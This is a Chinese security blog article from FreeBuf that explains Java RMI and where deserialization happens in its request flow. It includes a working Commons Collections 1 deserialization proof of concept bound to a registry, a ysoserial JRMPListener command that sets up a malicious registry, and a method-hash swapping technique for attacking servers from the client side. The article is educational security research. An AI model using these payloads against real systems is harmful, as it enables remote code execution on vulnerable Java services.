freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

RMI攻击
2022-12-12 16:23:14
所属地 四川省

RMI原理

这方面的东西就不多说了,看RMI流程图:

1670833288_6396e48859e652cc2ec5f.png!small?1670833288225

其中存根stub是客户端的代理,骨架skeleton是服务器代理

  1. 创建远程对象。ServiceImpl service = new ServiceImpl();

  2. 注册远程对象。Naming.bind("rmi:127.0.0.1:1099/service",service);(service为ServiceImpl定义的远程对象)

  3. 客户端访问服务器并查找远程对象。包括两个步骤:

    ①用interface定义要查找的远程对象,在第四步作为引用:ServiceInterface service = (ServiceInterface);

    ②查找远程对象。Naming.lookup("rmi://127.0.0.1:1099/service")

  4. Registry返回服务器对象存根。也就是把远程对象service作为自己的service(引用),称为stub

  5. 调用远程方法。比如String rep = service.cxk("ctrl");

  6. 客户端存根和服务器骨架通信

  7. 骨架代理调用service.cxk("ctrl");,实际上是在Server端调用的

  8. 骨架把结果返回给存根

  9. 存根把结果返回给客户端

其中存根stub在客户端,skeleton是服务端本身的远程对象(service本尊)

知道这些就可以了,深入分析见(我的上一篇 RMI源码分析)https://www.freebuf.com/articles/web/352122.html,更深一步直接看https://su18.org/post/rmi-attack/#%E4%B8%89-%E6%80%BB%E7%BB%93

RMI攻击

观察一下RMI流程中有哪些地方进行了反序列化

  1. Server进行Naming.bind时,registry对service会进行反序列化

  2. client进行lookup时,registry对实现了ServiceInterface的service进行反序列化,client接收返回的service也要进行反序列化

  3. client调用远程方法时,server对参数ctrl反序列化,client对server的结果也要反序列化

因此可以根据这几个反序列化入口攻击Server、Client、Registry。

攻击Registry端

入口点为Naming.bind,绑定恶意对象时触发。

以CC1为例,使用AnnotationInvocationHandler类,但是bind()只能接收Remote类的子类。可以用Remote.class.cast强制转换为Remote类:

A.class.cast(B);将B类强制转化为A类,不过会抛出异常

1670833300_6396e49419137d6168279.png!small?1670833299979

需要用到代理把AnnotationInvocationHandler代理为remote

Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class}, getpayload()));

POC如下:

package Rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class RmiCC1client {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class}, getpayload()));
Naming.rebind("rmi://192.168.0.103:1099/RemoteObject", proxyEvalObject);
}

public static InvocationHandler getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "godown");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler instance = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
return instance;
}
}

嫌麻烦懒得切文件,把注册表和客户端融合了,加了一句LocateRegistry.createRegistry(1099);

1670833319_6396e4a7cf2851ed0da0f.png!small?1670833319845


由于RMI采用了DGC分布式垃圾回收机制,还能用JRMP攻击注册中心。此处省略


Registry攻击server和client

registry作为中间代理,理应“大杀四方”。在客户端和服务端需要接收返回结果时,registry都能进行攻击。包括bind()、lookup()、rebind()、unbind()、list()这些Naming库里的方法。但是由于registry端多半不可控,这里简述

用ysoerial生成恶意注册中心:java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"

当server或者client调用注册中心的上面五种方法时,就会返回恶意对象

客户端攻击服务端

如果远程方法所需要的参数,和client传的参数都是Object,那当然可以直接攻击。而非Object也能攻击

在分析源码时,说到Server端时根据UnicastServerRef#dispatch来处理客户端请求,在hashToMethod_Map中寻找Method的hash

1670591117_6393328d970c5866b274f.png!small?1670591117860

如果找到了就进行反射调用

1670591121_6393329183e99f42f8ac4.png!small?1670591122084

Hash算法是SHA1

利用:在debug时,在RemoteObjectInvocationHandler的invokeRemoteMethod处下断点,将Method改为服务器需要的Method。或者在从字节码或者流量把method改掉

参考:https://www.freebuf.com/articles/web/324692.html

# RMI漏洞 # JAVA安全 # RMI安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录